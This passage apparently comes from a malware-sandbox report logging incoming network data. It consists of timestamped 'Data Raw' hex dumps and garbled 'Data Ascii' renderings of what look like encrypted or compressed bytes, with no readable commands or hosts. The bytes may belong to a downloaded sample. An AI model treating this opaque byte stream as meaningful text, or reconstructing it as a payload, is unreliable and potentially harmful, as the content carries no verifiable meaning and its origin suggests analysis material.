a4 c9 a0 8e c6 7b cd 06 b3 32 da f9 0a 16 ba 1b 6e b9 23 17 09 64 c6 56 17 40 dc 7b 65 be Data Ascii: l>5'VGpI\|G1Uix&XHflhq$WZR/FQzP~\Y5Us]o3pD RA*&"6zL73;^o\|wRYd>fbn+?+yVW%5tD(r<Si8"0-sS32AcPVBb{2n#dV@{e
2022-01-14 03:59:48 UTC	1081	IN	Data Raw: 06 4e f1 4c 81 eb d6 05 94 a6 50 e6 35 7b 89 bc 0d a5 75 19 aa bd 44 e3 e0 6e 54 b6 bc 12 2a 85 3c 07 95 f1 1d 52 8f c7 ea 28 ed 5f ad 41 ac 46 49 92 e5 e7 e9 c5 14 ff 2e 6b 8e 5d 36 25 4d 2d 75 c3 3f 4e a0 c6 f3 f3 19 58 ee 2e d5 c9 b5 5b 16 02 53 3a 24 56 a5 1b a5 76 ce e3 2e 46 6e 25 69 7b b9 ec f7 6e d6 1b bf 22 00 63 13 5e 22 c9 7f 1f 17 a1 75 49 7f 6c 64 7e 09 40 fc 7a 2a 9e fb db 54 d4 56 54 c5 23 56 54 2b ae 37 e6 3a 60 8d eb 6b 89 e1 69 4c 2d ae 24 16 7a aa 60 58 39 01 c0 fe 4e 64 32 77 da 48 d0 d6 7d d8 79 57 02 a1 bb 6e aa c9 b5 13 2b b0 86 e9 e1 48 cb aa c4 96 0a 45 b6 17 24 27 77 cc e5 43 41 a6 60 cc d1 7b 0f c2 ab 2a b4 34 ca 37 93 c3 28 45 e4 3c 98 84 ee 02 c4 7f 5a 5e 5e 84 2d 15 c5 29 56 1b c3 11 b2 36 71 57 a2 44 ae 8e 2a dd 8c aa c6 ac Data Ascii: NLP5{uDnT<R(_AFI.k]6%M-u?NX.[S:$Vv.Fn%i{n"c^"uIld~@zTVT#VT+7:`kiL-$z`X9Nd2wH}yWn+HE$'wCA`{47(E<Z^^-)V6qWD
2022-01-14 03:59:48 UTC	1097	IN	Data Raw: 7f fe 15 c6 94 ac f6 e7 0a 9f d6 35 86 83 0e b6 67 1c 61 bd 4b 89 5c 57 9c f6 1c 04 b9 47 eb c9 2b 89 e8 75 6f 29 42 cd 0a fc 2c 76 44 5a fe 3d d1 76 f9 15 af d9 91 95 7e bd 2d d4 d0 08 c1 87 70 62 8c 68 07 4b b2 9e 00 89 71 4f 7e 05 4c ff 17 69 b1 d7 84 e5 0d f1 a2 5d a8 64 83 90 74 90 43 60 04 ce c2 fd 2f 47 d5 60 ff 80 69 35 0a e2 fd 87 1e 7c e4 5e ad e7 57 4a 58 1e a6 9a 04 b7 10 76 f2 66 20 dd 87 ed 4c 98 4d 43 2d 00 e5 ba d1 f7 52 24 eb b7 ee b7 a6 39 18 b3 cf e1 da 19 5a 2a 21 c4 a2 5f 4d c5 a1 29 c0 b0 f8 c5 b1 90 25 48 9c 49 0d 45 cf b4 0a de 4b ef 98 06 a1 f9 d4 bd 81 8c 36 ca 9b bb a8 9b 70 09 b7 6b 03 3b 88 48 3e b6 bc 7e 97 3e 34 f7 c4 d7 b4 69 a0 7f 16 95 27 e3 7c db 53 07 d1 da ce cd 4c d8 12 e0 fd 16 7f 9f 74 72 4f 86 86 67 17 5a 40 4b 55 Data Ascii: 5gaK\WG+uo)B,vDZ=v~-pbhKqO~Li]dtC`/G`i5\|^WJXvf LMC-R$9Z*!_M)%HIEK6pk;H>~>4i'\|SLtrOgZ@KU
2022-01-14 03:59:48 UTC	1113	IN	Data Raw: 48 e2 24 5b 86 be 44 68 74 44 fc 51 fc d5 75 82 10 87 d0 df 9b a4 44 ec b6 29 ca 96 8f 4a 8b 2e a5 9b 8a f7 90 77 da 0f 3f 11 c3 a9 18 48 b2 b6 d9 db 68 0a fe 0d d1 69 94 ed 0c e5 29 84 65 04 02 2a b9 4a fb 19 6c 85 08 5c 49 1e ba b0 eb b6 aa fe cf e2 58 15 a4 fd cb 30 1e 1c c0 7c 5c da ab 3a b7 4d 01 df 83 72 ae df 19 c2 13 29 ed 2b 61 3b 06 87 c6 5b f2 9c 6b c1 a5 b0 89 a6 53 a8 c9 9e b2 fe ed 1c a5 ef 15 9c b9 d8 60 ee 19 16 6b 14 2f 5f ee bc bf 52 cc f8 90 72 1c c8 41 61 73 c2 ca 23 99 92 21 f4 80 be 7c 24 40 4c c4 46 89 17 70 f7 b8 17 32 49 78 89 9d aa 96 a7 d7 ae 11 87 be 71 8a 78 3c 36 ef 02 5c b8 69 ec b4 5f 04 ca c5 fe c2 0b 8e cd e1 c0 a1 dd 38 d2 49 64 8c f7 fc 05 3c 5c 3b c2 1c 3e 7d ad 10 fb 03 ea 1c 5e 69 4e 9a c9 1f 28 82 51 e6 d2 3c 5c 93 Data Ascii: H$[DhtDQuD)J.w?Hhi)e*Jl\IX0\|\:Mr)+a;[kS`k/_RrAas#!\|$@LFp2Ixqx<6\i_8Id<\;>}^iN(Q<\
2022-01-14 03:59:48 UTC	1129	IN	Data Raw: bc fc c8 84 41 b4 80 cb 37 47 a6 ba 4c 60 a2 de ac 87 16 89 5b 02 cf 68 76 22 71 70 82 68 92 63 27 58 7b fc 9b 79 da ed 2f 59 ab d2 5e 5b 82 94 ef a1 21 96 78 aa 80 15 d6 00 5f a8 5a e1 d3 00 40 ea d0 df 54 00 5f 77 ae 94 64 03 1e 91 0f 83 07 fb 77 e1 a7 bc 79 78 de 2b d8 61 11 86 02 98 68 21 f3 3c 5d 60 fc 3c 07 a7 94 2b 7b 1c 01 26 c5 43 02 02 60 68 fe 1f 12 6d 64 a7 c3 61 59 ef 77 db 47 04 b4 14 19 83 24 68 b1 46 ca df 11 fd 85 5b 0c 26 f9 f8 2a 8c 82 38 74 c4 19 5d 29 8f fa 88 90 8c 73 36 ea a2 13 da 8a 56 ce 24 95 54 57 af f3 1e 0d da d7 13 96 a3 e0 c2 75 ba 1e 3b 5f 08 1b fe 0e 92 8b 79 bc a5 7c 7e bb 43 c8 a8 8d be 51 5d 38 9d 19 ab 91 ef 90 ff 11 89 e3 43 5b 28 ae 5d 04 43 0e f9 db 9c fa 9c 40 76 69 d7 90 25 89 36 8a 34 c6 ea 13 1f d9 11 ad 2a 2e Data Ascii: A7GL`[hv"qphc'X{y/Y^[!x_Z@T_wdwyx+ah!<]`<+{&C`hmdaYwG$hF[&8t])s6V$TWu;_y\|~CQ]8C[(]C@vi%64.
2022-01-14 03:59:48 UTC	1145	IN	Data Raw: e0 11 2e a7 50 bc 05 5e f5 e8 a5 78 17 00 09 10 f1 d1 4f 52 81 77 12 42 85 53 0f d1 62 53 8e 8e c8 46 2b 22 db ef 98 c0 d2 7f a2 c7 77 e7 85 10 75 97 49 1c 38 75 a5 b2 3d e2 6a 6a 36 a7 18 4d 76 7c e4 d7 5e 56 31 f8 9a 13 99 d8 fb 32 34 15 8c 17 0d ff 59 45 77 77 e1 7f e1 79 41 81 d4 e8 6f bd a2 dd 34 99 de 58 36 25 8f 16 80 a3 9c 66 3d 1e cf 16 67 9b 69 14 15 64 77 a6 08 74 15 5e a1 b7 ba 39 22 84 05 4f db 74 5b c4 66 00 3d 68 5b 89 59 d4 38 9e 62 5e 3b 87 98 a8 89 33 03 8a 36 c9 63 b2 78 cb 94 37 b1 a6 33 87 a6 25 89 2a 15 91 f2 4b 3f 93 5a 25 5f f0 6c 5a d7 1c 89 a7 af 2e dd 3c e7 1e 4f 72 c9 67 a4 fd 97 92 84 eb 13 2b 05 af fb 79 1c 49 55 d6 8c cb 7f f5 a8 71 83 c2 69 e6 9a 5d 81 fc 37 1a 59 3e f2 b9 d3 71 cd a8 56 2f 8e 62 29 8b d5 13 7e 46 35 55 a3 Data Ascii: .P^xORwBSbSF+"wuI8u=jj6Mv\|^V124YEwwyAo4X6%f=gidwt^9"Ot[f=h[Y8b^;36cx73%*K?Z%_lZ.<Org+yIUqi]7Y>qV/b)~F5U
2022-01-14 03:59:48 UTC	1161	IN	Data Raw: 06 b7 dc 0e d6 55 a8 ce 0d 61 42 f9 df 3c 97 e2 a2 d6 e3 4e 9c 66 6d 2a e8 72 c8 63 db a5 61 b6 f1 4f 02 c4 20 30 55 9d e1 73 10 71 7d ff 3d 0c de 69 74 51 6c 56 97 86 74 0c 5c 8e 40 9f 47 fd 84 ca 26 e3 90 44 3f e6 c7 fe 60 6a 00 e7 af c7 0a 72 52 4c 46 53 ba c4 82 6c 7e f0 04 bc e3 92 21 90 78 3f 4b 8d 75 f7 d8 ba 15 0e 87 b3 03 2a 22 67 65 d0 b8 75 3f d9 e9 df 93 f4 82 2c e2 08 84 b2 d7 9c 95 45 67 63 76 42 18 52 5f 2b 78 b4 17 d7 65 5d 76 25 19 43 76 2a 0a 90 4f a6 5b 77 cb ad af 60 06 0f df d2 95 96 e6 f6 5c 6f 86 1a 7a 06 aa cf 69 21 51 c9 16 78 69 56 8d dc a9 a8 c3 ca 8b d3 6d a6 8d be 2f 0d f9 a5 b3 13 27 31 6e cd 9a 50 a2 ce 62 3d c2 46 39 81 ef 9f 85 2d ec 11 09 cf 34 9c 6f 32 92 ed 12 55 0b f8 82 46 55 2e 6b 38 39 e5 83 d9 dd 43 5e 5f 9a c6 76 Data Ascii: UaB<NfmrcaO 0Usq}=itQlVt\@G&D?`jrRLFSl~!x?Ku"geu?,EgcvBR_+xe]v%Cv*O[w`\ozi!QxiVm/'1nPb=F9-4o2UFU.k89C^_v
2022-01-14 03:59:48 UTC	1177	IN	Data Raw: 3d f8 80 ab 07 4a 06 ea 03 91 a4 ec 26 0e e8 b1 10 d2 a2 38 9e 88 02 e0 86 11 6d d3 41 27 00 d1 9f e0 30 d5 1e 9e 56 0e f3 57 29 81 26 b4 05 5f bf b7 9d d3 c4 f3 48 05 92 2e d2 9b 8d ce 65 1e 9d 9d 63 ed cc ce 38 bd a7 6a fe f9 fc 4d ca a4 ae 81 c3 ad 73 5f 52 99 e2 a7 2d c5 e8 93 15 97 89 b1 58 88 2f e5 62 33 32 55 f4 e0 e1 ea 17 48 c3 3a 9e ad e1 ee 6e 3a 1c ac b1 f0 a4 55 17 bc 1b ec 1d 98 d3 2f 02 7a 25 b8 15 5f 76 02 8c 94 e3 a1 8a 9d 4d 1b d3 d4 dc b1 f7 46 b9 90 68 23 13 d6 48 a1 14 1c d9 67 86 53 9c c6 f9 40 28 ba c2 2a 4a 32 b0 9e 96 f3 2e 6e 1f b4 bb 59 ca e0 5f 04 30 05 87 7e e2 b3 01 28 d3 0c c3 99 d9 1b 88 61 7d f2 4f 7c 4e 3a 58 5d 6a ac 80 eb 34 96 66 43 d0 8b fd 4e 2b a6 06 aa 23 49 1c de d4 37 e4 d6 ea 1c ec 63 d6 3a 61 5a 4e 93 84 c6 7c Data Ascii: =J&8mA'0VW)&_H.ec8jMs_R-X/b32UH:n:U/z%_vMFh#HgS@(*J2.nY_0~(a}O\|N:X]j4fCN+#I7c:aZN\|
2022-01-14 03:59:48 UTC	1193	IN	Data Raw: 93 b7 3e 6f 33 fa 82 d0 cf 61 11 ff bf 3e 72 d3 cb 71 07 3d d5 32 a4 f8 33 e2 e2 d7 c9 c5 56 49 0f 31 c5 41 76 07 97 90 32 22 a7 f8 da 0a 8d 3a 72 47 47 77 fc f2 cd 63 70 0f 24 2e 96 00 73 76 f6 69 8f a9 c0 36 83 74 96 e5 a0 2e 4d 90 d0 6f 24 35 58 1c a1 4f 4f 9b a9 bb 98 2f f7 77 f1 20 e1 67 45 7c 90 14 fe d6 35 c6 1d 1b 93 86 d4 db 58 ce a4 49 0d c5 02 d1 22 90 a1 e5 25 5b 61 32 30 8a 98 4d dd 15 6f cf 59 1b 2c 8b cf 4c 5b 5f 03 06 31 58 83 19 80 a4 e6 ea 8b 20 cf 3b 78 74 68 e7 98 d9 64 b6 ce 08 4e 8e 9b 72 9f c5 88 71 d4 92 97 ee 33 3f 27 db 77 32 9f ae 30 fb f6 59 84 b9 87 f2 74 94 40 6b de 65 4d 91 93 9f 4a 02 b2 88 0f db b5 dd 95 f9 e6 dc 67 cc ff 29 51 3e a9 67 8e 44 38 d9 b2 be e1 3c 8e 3e 68 b4 ed 6c 32 21 9d 76 97 12 5e 68 77 27 84 ef 86 ff a0 Data Ascii: >o3a>rq=23VI1Av2":rGGwcp$.svi6t.Mo$5XOO/w gE\|5XI"%[a20MoY,L[_1X ;xthdNrq3?'w20Yt@keMJg)Q>gD8<>hl2!v^hw'
2022-01-14 03:59:48 UTC	1209	IN	Data Raw: 40 54 9f 4f 50 06 2a 65 24 93 6c 48 80 66 35 68 ea 12 9c 93 d2 1a ab 8a 2a 7e 73 e5 e9 33 f2 d5 a7 f3 b4 e7 ab 93 3b 54 7c 36 44 2c bb 44 65 50 6c 4c 4f 1f 25 6a df 95 2d 86 97 93 a7 55 fb 68 63 18 84 c6 ef 1c b1 fe 99 b8 4f 16 d4 0b ca 30 c5 00 60 6e 55 96 c0 03 0f f8 eb d5 2b 6f cf 57 cd 92 74 54 99 e3 e0 a7 4f 9c 9b 44 78 9f c3 05 a3 2d 48 52 c0 c1 a3 e6 8a 34 77 b8 62 08 bf d6 52 b5 16 91 bb 36 48 bc 1a e7 7f 3e 94 ec f2 a0 8f db 93 fc 43 bc 12 ff b8 52 e1 f7 32 d8 a1 34 c8 38 e1 12 d1 f6 a7 1e 56 90 03 a1 9a 99 6f 54 23 c0 65 47 3c 1b 7c fe 53 b2 3a 62 cd 31 32 24 d9 3a 58 67 71 cb 32 6b 9f ab c6 cc 19 92 00 a4 67 c3 67 c4 b3 fc aa 9c 7c 42 5e 21 dd f4 de b8 73 75 e5 18 d6 8b 4b 73 45 f7 6e 80 a1 46 1c 72 78 ac b7 a0 b3 fa 70 a2 e0 61 e2 ac 52 ce bc Data Ascii: @TOPe$lHf5h~s3;T\|6D,DePlLO%j-UhcO0`nU+oWtTODx-HR4wbR6H>CR248VoT#eG<\|S:b12$:Xgq2kgg\|B^!suKsEnFrxpaR
2022-01-14 03:59:48 UTC	1225	IN	Data Raw: 89 33 23 45 96 b5 99 4f a4 1f 21 e7 79 2d 41 73 f8 32 89 da 8d 5c 78 c3 3f 24 32 1c 89 fb 1a d4 88 03 41 52 8a 4c e2 ce 40 8d d9 4a 77 e3 07 d6 6d 3c 2b fe fe b6 1b 62 a1 74 2d 02 3d 24 6b 9d 66 95 3f 3f 8e 4c a9 34 2a 5a e2 70 c3 1a 17 40 00 7a 2b 8b 05 a1 90 50 ed bd 05 28 dd 82 c3 f3 69 64 b7 53 27 6f 27 28 e5 8f 61 4d 2f 2f 11 6f 58 62 9f 77 14 2b 2a 78 dd 95 d0 20 4a 4e 74 31 b9 16 0d 1c f4 07 f6 c4 c1 ab c9 b6 ec 12 9b 0b cf 5d 47 6f 3b 87 62 2b 7a 7b 8c 5e 27 1f c5 8a d3 c1 28 d4 0b cf 65 57 e4 5d 94 0a d5 d8 23 8b e2 a7 9d 4b 8f e6 ef 57 12 7a 0b c4 df 54 bc ef 8b a6 2b 20 90 b0 44 89 f4 9f e2 5e fc 30 6d 5d f4 31 3b cd 94 61 e7 8e 0b d8 a0 2f c8 a0 8f 24 c4 db c4 50 75 44 30 54 f7 47 e9 c6 2e 70 03 78 27 ec 7a e5 5b 45 5a 5c 92 66 78 b4 d5 84 c5 Data Ascii: 3#EO!y-As2\x?$2ARL@Jwm<+bt-=$kf??L4Zp@z+P(idS'o'(aM//oXbw+x JNt1]Go;b+z{^'(eW]#KWzT+ D^0m]1;a/$PuD0TG.px'z[EZ\fx
2022-01-14 03:59:48 UTC	1241	IN	Data Raw: 55 fe 4d 9c 06 0a 94 45 8e 42 de 2f 02 6e 46 75 a5 87 ec 4c 50 3c 4f 28 9d bc 3b c4 79 6f f7 5e 36 86 f9 84 ea c8 49 21 2f df da 52 4a c3 3c b6 eb af a4 8c 29 7e 86 28 43 4b 9f 37 08 b2 af c2 e8 5f bb b5 e8 27 4a 04 3e 0b 63 ec 5d 8d 8e fc 77 2a 97 be 6f c5 75 35 b8 94 0c bc 0f d9 2b ed 70 06 b6 98 c9 e2 58 57 7b 76 ad d9 f7 91 26 d5 bf d8 90 43 ff 94 63 09 72 07 00 46 86 aa e1 78 97 a3 40 f7 ee c5 de 10 6d 60 79 18 01 43 48 79 15 99 97 7e 45 9f bc 38 d4 b6 fe 38 40 89 ee 3f 32 df 3e 9f b7 e9 0a d6 2f ce 7a 51 9f 7c 6c b8 38 ea 26 07 a7 08 dc a1 07 ec e3 fa 96 44 b4 4d b2 d1 1e fb 2c da c6 d4 bb c8 35 76 98 26 1f b7 62 20 a1 c7 4b 58 31 5f 18 fa 83 d3 34 1b 80 77 3b e9 63 84 c8 6a ee 75 44 f0 0d 79 1b 96 37 41 dc e1 a4 65 e7 fb 33 cb 89 6f 0d b2 74 80 e8 Data Ascii: UMEB/nFuLP<O(;yo^6I!/RJ<)~(CK7_'J>c]w*ou5+pXW{v&CcrFx@m`yCHy~E88@?2>/zQ\|l8&DM,5v&b KX1_4w;cjuDy7Ae3ot
2022-01-14 03:59:48 UTC	1257	IN	Data Raw: e1 21 6d 2e fc eb 4f 24 91 33 3c d4 0a bc 70 d1 40 da 09 97 2b a0 d9 29 c2 d9 3c 8e e2 45 8e 1c 92 7c 0a 5f ae a7 8d cb b4 d3 17 50 86 f4 59 83 5f 4a 02 cb 3e 7c 40 d5 03 9c 67 95 50 cb 4a c5 a1 41 b0 3f 0d 64 90 61 29 f0 7b dd 46 0a 90 e9 59 ba 0e b9 b1 44 c8 f5 90 bc ee d4 b1 55 d4 03 df 20 b2 6b 90 f4 06 03 eb 8f 92 2e 9a b0 35 33 e5 8c 91 96 63 c8 e6 78 05 89 50 92 22 db d0 17 c6 70 fd e1 e9 56 e4 37 36 fb c2 8f 43 d2 eb 4a e6 40 1e a8 10 98 ae 12 f7 8d 01 cb 1d 56 b0 ba 1b 57 87 45 65 83 88 57 28 01 0f 14 60 6a d2 51 10 e3 3e 9e a0 d0 d8 8b 5f 20 7b af c5 bd 15 16 e0 60 00 02 d7 d4 be 20 60 65 6c 92 67 d2 54 2e 0f ac 66 34 f8 31 3e c6 83 fa d8 f8 c0 80 54 1d 09 68 43 0c c0 69 9c 75 c6 55 2d 55 1e be df 67 fc 8a 18 0d 97 8f ad b6 92 f3 10 5a 9a 89 11 Data Ascii: !m.O$3<p@+)<E\|_PY_J>\|@gPJA?da){FYDU k.53cxP"pV76CJ@VWEeW(`jQ>_ {` `elgT.f41>ThCiuU-UgZ
2022-01-14 03:59:48 UTC	1273	IN	Data Raw: 82 3d 70 41 63 23 5b 5b 9b db 6f 72 bd ee 1c 3d 0e 67 c4 ac 3e 86 13 2f 0a 18 94 75 de 0b ca 55 6b 1f ea 7f e7 0e 8f cb 0e 99 40 0b 9e 6d 05 f8 29 c6 85 9b e1 6b 17 e7 39 a7 57 85 8a dc 37 51 2d af 3d c9 57 53 5c 2a e8 f5 5c 67 ea 41 ed 9e f6 25 aa 28 e2 fd a4 3f ef 63 fd 69 13 31 b0 8e 48 18 d1 8e c7 35 cc 94 a2 f0 a6 cd 59 3d 5d c5 de da 73 b7 12 ea 0e 54 8b f2 f9 ce cb e9 2d b2 79 f1 85 b4 c4 6e db 8c b2 14 88 f2 7c 22 f6 de d3 30 ae af 0d e0 5d ae b7 5f ec cd d6 22 9b 0d 6f 87 a1 b3 82 f6 70 8c f2 50 8d e5 c9 9c 3e c3 ee af f5 97 72 88 21 19 6b c9 30 3c 25 8c 5a 1e 3d 3c 80 ec a4 15 04 3f 87 69 17 b1 51 7f 81 25 14 29 a8 58 aa a2 d6 ca 58 59 8d 45 72 42 cc 0a 2c 4a 57 bc 10 49 7c 4d c4 d5 68 3c 1d 98 d3 e4 c3 e5 a4 0a d7 67 74 65 aa dc 64 5c 0f 9a 12 Data Ascii: =pAc#[[or=g>/uUk@m)k9W7Q-=WS\*\gA%(?ci1H5Y=]sT-yn\|"0]_"opP>r!k0<%Z=<?iQ%)XXYErB,JWI\|Mh<gted\
2022-01-14 03:59:48 UTC	1289	IN	Data Raw: c4 7f 00 0e 59 2b 67 da e9 d0 15 d2 ef 98 b4 0a 5a d6 82 80 e4 b2 e4 b9 5c 9c 20 56 49 e5 9f 75 76 3a b1 7d 60 f9 79 5a 83 f6 93 73 b7 1d 65 87 b0 55 ed 98 95 5a 1c e7 4c 5d 48 bf 11 2b 36 b3 38 d9 a3 74 43 40 1d 45 6e 66 96 93 29 57 43 32 13 db 3b a9 62 8a ed 46 44 f2 4f 90 6e 2a 26 9e 38 8e 5a 55 ac 07 e6 5c 54 88 97 20 8a 94 26 d8 bd e0 2f dc 96 58 ad 7b 60 1f 2a 86 cf 6c 7a af cc 2a fd 27 3f 26 e4 51 6d 1a 62 46 83 4c 22 c0 ac ea bd 7c 3e 99 32 10 70 22 3d 08 d9 bc 37 c9 e0 9d b3 fa df 50 d9 44 80 ad 8b 0f 9a 62 3c ca 67 35 c7 da 85 23 80 80 f1 11 17 98 12 d6 1e 39 09 05 b2 69 11 a5 c5 c0 82 a7 b6 d4 1b 9e 77 1c 26 50 69 89 31 ac 5b 54 3b 57 2e ab 99 ec 24 a5 37 a9 c6 94 36 77 1e c7 dd af bb 5b a7 2f b2 e3 fb 9f b2 5f b8 d2 c7 d9 93 0d bc c7 93 c2 25 Data Ascii: Y+gZ\ VIuv:}`yZseUZL]H+68tC@Enf)WC2;bFDOn&8ZU\T &/X{`lz*'?&QmbFL"\|>2p"=7PDb<g5#9iw&Pi1[T;W.$76w[/_%
2022-01-14 03:59:48 UTC	1305	IN	Data Raw: 1c 47 1e 3b 65 06 53 cc d2 75 f5 72 37 9e 9f 2d ce c3 b5 f3 35 57 f5 c6 15 9a c2 d4 dd ea 84 32 6f 89 0d 09 1d 0e dd ff 11 4e f7 fc 14 54 12 22 98 76 80 10 c2 75 61 db 98 73 d7 4a a0 da aa a7 cb d7 e3 91 f1 73 e6 96 f7 27 c0 f8 81 22 98 00 fe 5b 6b 49 21 94 49 43 53 fa 17 4a ca df 98 55 1e 2b 45 9c bc 84 6c b9 17 67 ea ee fb ac e5 1f be b3 09 c9 db 11 21 df 4b a8 2c 0a e9 a0 f3 27 f7 0b 97 20 a0 62 69 71 eb 05 3d fe a8 19 7b 05 2f c6 4a 22 3f b1 84 f6 83 11 7d 54 23 24 e8 ae 57 fc 89 85 84 88 89 00 4b bd 3c 95 db 54 6b c8 8e b5 cd 91 88 2b 15 f0 26 a2 a7 77 5b 77 24 07 eb b0 de 23 fa 5d 10 9e 34 5f cb 76 71 f3 44 ed aa 46 18 39 60 27 ea 3c 00 1a 0a 97 c4 ac dc ed 72 2d 23 b4 24 44 f3 00 8e 1b 4f 78 a6 07 7b 21 1c 29 45 63 c6 5a 84 11 a7 45 86 37 7e a7 23 Data Ascii: G;eSur7-5W2oNT"vuasJs'"[kI!ICSJU+Elg!K,' biq={/J"?}T#$WK<Tk+&w[w$#]4_vqDF9`'<r-#$DOx{!)EcZE7~#
2022-01-14 03:59:48 UTC	1321	IN	Data Raw: 48 e4 de d1 79 7b e9 8d 86 43 b3 4f 95 dc 3a ef 05 35 e9 89 60 29 10 1f e6 9d 1e 07 b5 05 58 8e 9c fe ff fa 0e 7c 2a a2 3a 31 a0 77 61 b7 be 18 ba c8 b9 0e 58 12 c5 b4 e7 89 b1 65 4e 2e e7 dc 19 e2 d2 f3 96 f0 6b c3 72 7d 17 07 aa 0f 9a 88 b4 07 e7 45 34 ab f3 4e 12 c7 46 43 42 2b 76 34 eb 20 63 40 84 81 a9 4a 65 af 61 90 52 99 4f 0f 82 f2 0a f5 9f 03 82 26 d8 37 29 8a 63 bc 53 91 71 de 81 6b a3 a8 b1 4a 3e 15 57 3f 5c be 96 61 80 6d 9f e3 8e dc 48 d6 84 60 cb d6 91 70 44 31 f6 25 e7 92 e2 39 b5 cc 62 cc 8a 91 e9 8d be 7b 59 7b b4 c4 0d 6e c6 fd a2 ab 86 7a 8b 2e cf 99 da d1 9e 11 f6 cd ae de a7 d0 e0 d9 07 fe 8a a2 81 81 42 a7 48 9a a0 aa 29 e2 c4 c4 e5 bc e3 8c a6 d5 88 3f 84 d1 d0 c0 56 c9 29 cf 66 f2 17 71 55 fc 74 87 27 a3 68 05 f6 d0 3d 79 7e 21 a2 Data Ascii: Hy{CO:5`)X\|*:1waXeN.kr}E4NFCB+v4 c@JeaRO&7)cSqkJ>W?\amH`pD1%9b{Y{nz.BH)?V)fqUt'h=y~!
2022-01-14 03:59:48 UTC	1337	IN	Data Raw: 09 db b6 c0 35 ba ff fe a9 ed d0 3b b5 c5 64 c5 71 7c 97 81 ba 3b 03 44 3b 02 b7 e6 0b e3 32 d7 dd 1a b5 ba 99 41 41 9f f9 4f e1 6a ac 69 27 84 08 70 3e fe f7 b8 a3 05 9c 98 f4 f3 28 0d 20 22 6d 46 79 fe bf 8b d5 91 b5 99 00 aa 96 09 70 df e4 6d 1a c9 10 a9 24 ba 91 2a dc d2 a1 ea 51 68 da 72 20 81 12 4d 42 31 3f 86 e8 00 4a 8c 6b 86 97 78 c8 9d ba 0d 60 47 17 55 7e 80 3c c8 40 bb 74 bd b8 b1 b2 75 fa f2 60 94 6c 7c 84 48 72 83 a7 89 27 2f 4b 56 4d 17 e2 db fc 86 f0 11 54 7b 6e 09 10 61 d7 23 22 0a 58 cb f8 91 4a 61 c4 86 26 e2 ba 6b 28 bd 10 a1 5d 1d 5f 2c 25 72 b2 80 2a 57 e3 4b 3a 8f 9b 01 35 3b 48 03 2e a4 85 b7 47 72 6f 30 df 0b 36 0d 8a 05 18 95 cb c9 23 66 ec 2b 1e 0e 87 88 92 c3 88 fa ff 9e ac 00 82 e4 ae e1 03 c6 80 df 9d b4 8f 65 eb 24 d7 73 8c Data Ascii: 5;dq\|;D;2AAOji'p>( "mFypm$Qhr MB1?Jkx`GU~<@tu`l\|Hr'/KVMT{na#"XJa&k(]_,%rWK:5;H.Gro06#f+e$s
2022-01-14 03:59:48 UTC	1353	IN	Data Raw: 40 df 10 fa 58 a6 d1 5d a1 ac 40 21 3c d6 3d ce 7b dd 1b ab 83 2e 63 09 36 17 3e d2 ae f9 7c 92 c0 0d f3 a4 07 0f 5d 46 c4 50 a8 39 d3 fa ac 10 d6 cf 23 0e 3f c4 f5 91 fe b4 5d b3 e7 e2 93 c4 f5 08 36 7b 0f 09 e9 10 5a ab a0 06 15 3a 78 ad c4 82 c8 fb c6 cc 66 d9 4b 44 84 1f cf b9 2a a0 23 08 4a b9 d9 a8 a3 bb 79 2d d7 10 02 a1 fb eb ec 11 43 f7 cd 7c bc 14 e5 6c 04 a0 c4 fc b7 3f 89 e6 39 9f 4d dc d1 fe fe 4f 36 a5 6e ad f2 06 7c 97 b2 9e c6 1a 90 fb 45 be d2 92 a6 82 35 6a c7 a1 06 31 e1 e8 32 51 b5 cf e8 7e b0 b6 83 97 4d fa f8 c8 d2 b3 8d f7 26 c8 cc 57 b0 48 2c 4b 2d e8 60 0c 78 a6 3d eb f4 4b 1a 5d 83 97 b9 26 7f a4 e3 ef cf 49 dd a0 b0 6d 87 a8 b0 90 72 3f be 0b f3 da 9e 60 db 0d 16 14 c7 36 49 cc e9 fa 18 4c 1a f1 cf 92 ad e8 62 18 f1 a8 ea a2 f8 Data Ascii: @X]@!<={.c6>\|]FP9#?]6{Z:xfKD*#Jy-C\|l?9MO6n\|E5j12Q~M&WH,K-`x=K]&Imr?`6ILb
2022-01-14 03:59:48 UTC	1369	IN	Data Raw: 03 cc 53 ee a0 8d 0e 12 2c 73 c7 c9 e6 cd e2 91 49 fc 23 82 14 ed 3f ae 22 c1 de d2 9d fd d7 52 0d 4c 4d 5c 08 55 2c bf 5c f6 db f9 76 55 3e 75 ce c9 21 26 d4 9d c6 f2 ac f7 0a 54 97 4b a3 92 47 8c 78 8e d2 af 18 ef 54 a9 32 6d c4 bc 9e 1f 49 cb 37 22 cd b7 7f 96 2f fc e2 78 ae 2b da 99 f9 f7 6c b2 c2 66 f9 b1 b6 ca dc 8e 2f 92 9f 2e 4d ba 5b 5c 14 5f f8 20 fb d3 51 a0 a6 3c 98 ad 59 97 64 aa 34 e9 46 fb 94 52 8d cd 9e 6c 19 6f 9f be 89 a8 18 4f 75 02 b5 fa 18 a2 32 65 fa 34 4b 24 6f a6 b8 f2 d7 f0 30 48 fe c2 99 51 0f a8 0b 72 36 fe 67 73 4c b0 74 d8 28 ca ce 87 45 b6 e0 8b 6d 80 df 1b 69 1d d3 2a 4e 9e 0a 03 db 0e 1f 41 7e b8 2a 29 c4 6d 77 81 55 13 65 3a e9 f5 1e 5d 3c 13 ce de 7c 7d b6 c7 9c 85 59 99 1d 1b 30 ba 14 2e 96 c3 b7 05 95 82 e7 70 6f 0c 42 Data Ascii: S,sI#?"RLM\U,\vU>u!&TKGxT2mI7"/x+lf/.M[\_ Q<Yd4FRloOu2e4K$o0HQr6gsLt(EmiNA~)mwUe:]<\|}Y0.poB
2022-01-14 03:59:48 UTC	1385	IN	Data Raw: ac b7 87 35 82 8d a6 69 8d f1 5c 4c 3c 6f 09 23 58 bf 25 4e c5 44 e6 b7 97 a8 ac 90 f7 22 cd d3 c6 a8 af 13 7a 91 4a dd ec 19 f6 a4 c5 63 36 f3 8f f2 92 a4 06 29 78 33 70 e6 f0 24 84 b2 0e 74 cd b1 0b d1 d7 53 e0 6c e8 87 2b f1 b7 bb 6f 6c ee eb c5 f2 bc eb 05 b7 98 13 f5 78 59 b5 45 c2 49 df fb 3e 55 e1 27 83 a6 a7 d5 16 73 36 36 90 7b 3b ce e0 6d c9 5f 42 bd 66 36 35 c6 ef b6 7b fc d9 27 44 c1 30 87 09 e6 f0 0d 69 e5 5f 69 96 70 ce e0 f2 ef 28 2a 44 e3 33 79 5b 2d 7f 61 8e f5 9b 60 6c a3 41 c1 f6 3c 32 fa 32 cd f7 4d aa 58 47 4d e1 28 3d ec 